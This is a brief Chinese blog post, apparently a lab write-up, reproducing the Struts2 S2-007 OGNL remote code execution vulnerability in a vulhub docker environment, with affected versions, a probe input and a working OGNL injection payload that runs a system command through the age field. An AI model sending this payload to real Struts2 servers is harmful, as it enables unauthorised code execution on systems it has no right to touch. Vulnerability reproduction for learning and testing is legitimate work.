S2-007 远程代码执行漏洞

S2-007 远程代码执行漏洞

S2-007 远程代码执行漏洞

当配置了验证规则,类型转换出错时,进行了错误的字符串拼接,进而造成了OGNL语句的执行。


漏洞环境

我们先下载环境,在github有别人直接搭建好的docker环境我们直接拿来用即可

git clone git://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-007/
docker-compose up -d

访问IP:8080/index.jsp即可看到界面。


影响版本

Struts2.0.0 - 2.2.3


漏洞复现

在age输入'+(#application)+' 有回显证明漏洞存在

写入命令执行的POC

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

发现成功执行

posted @ 2021-05-30 21:56  blankunbeaten  阅读(274)  评论(0编辑  收藏  举报